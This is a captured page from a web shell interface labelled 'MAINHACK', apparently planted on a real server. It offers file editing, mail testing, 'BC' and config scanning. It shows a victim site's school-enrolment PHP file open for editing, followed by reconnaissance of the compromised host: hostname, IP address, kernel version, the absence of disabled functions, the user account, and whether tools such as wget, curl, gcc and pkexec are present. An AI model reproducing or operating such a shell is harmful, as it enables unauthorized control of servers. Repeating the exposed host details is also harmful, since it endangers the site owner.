[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: update_house.php
<?php header('Content-Type: application/json'); include("functions.php"); // read JSON body $input = json_decode(file_get_contents('php://input'), true); if (!$input) { echo json_encode(['success' => false, 'message' => 'No input received.']); exit; } $index_no = isset($input['index_no']) ? trim($input['index_no']) : ''; $house_id = isset($input['house_id']) ? intval($input['house_id']) : 0; $s_code = isset($input['s_code']) ? trim($input['s_code']) : ''; if ($index_no === '' || $house_id <= 0 || $s_code === '') { echo json_encode(['success' => false, 'message' => 'Missing required fields.']); exit; } // Lookup house_name $hq = $new->prepare("SELECT house_name FROM house WHERE hid = ? AND school_code = ? LIMIT 1"); $hq->bind_param("is", $house_id, $s_code); $hq->execute(); $hr = $hq->get_result(); if (!$hr || $hr->num_rows === 0) { echo json_encode(['success' => false, 'message' => 'House not found.']); exit; } $house_row = $hr->fetch_assoc(); $house_name = $house_row['house_name']; $hq->close(); // Trim and sanitize index no for DB usage $index_no_db = $index_no; // Check if enrol_details row exists $chk = $new->prepare("SELECT id FROM enrol_details WHERE index_no = ? AND s_code = ? LIMIT 1"); $chk->bind_param("ss", $index_no_db, $s_code); $chk->execute(); $cres = $chk->get_result(); if ($cres && $cres->num_rows > 0) { // Update existing row $upd = $new->prepare("UPDATE enrol_details SET house_id = ?, housename = ? WHERE index_no = ? AND s_code = ?"); $upd->bind_param("isss", $house_id, $house_name, $index_no_db, $s_code); if ($upd->execute()) { echo json_encode(['success' => true, 'message' => 'House updated.', 'house_name' => $house_name]); } else { echo json_encode(['success' => false, 'message' => 'Update failed: ' . $upd->error]); } $upd->close(); } else { // No enrol_details row — try to pull data from enrol_generic to insert nice values $g = $new->prepare("SELECT stud_name, schoolID FROM enrol_generic WHERE indexNo = ? AND s_code = ? LIMIT 1"); $g->bind_param("ss", $index_no_db, $s_code); $g->execute(); $gres = $g->get_result(); $student_name = ''; $schoolID = ''; if ($gres && $gres->num_rows > 0) { $grow = $gres->fetch_assoc(); $student_name = $grow['stud_name'] ?? ''; $schoolID = $grow['schoolID'] ?? ''; } $g->close(); // Attempt full insert (adjust columns if your table requires other NOT NULL fields) $ins = $new->prepare("INSERT INTO enrol_details (index_no, s_code, student_name, schoolID, house_id, housename) VALUES (?, ?, ?, ?, ?, ?)"); if ($ins) { $ins->bind_param("ssssis", $index_no_db, $s_code, $student_name, $schoolID, $house_id, $house_name); if ($ins->execute()) { echo json_encode(['success' => true, 'message' => 'House assigned (new enrol_details created).', 'house_name' => $house_name]); $ins->close(); exit; } else { $ins->close(); // fallback to minimal insert } } // fallback minimal insert $ins2 = $new->prepare("INSERT INTO enrol_details (index_no, s_code, house_id, housename) VALUES (?, ?, ?, ?)"); if ($ins2) { $ins2->bind_param("ssis", $index_no_db, $s_code, $house_id, $house_name); if ($ins2->execute()) { echo json_encode(['success' => true, 'message' => 'House assigned (minimal enrol_details created).', 'house_name' => $house_name]); } else { echo json_encode(['success' => false, 'message' => 'Insert failed: ' . $ins2->error]); } $ins2->close(); } else { echo json_encode(['success' => false, 'message' => 'Prepare failed: ' . $new->error]); } } $chk->close();
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.73 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002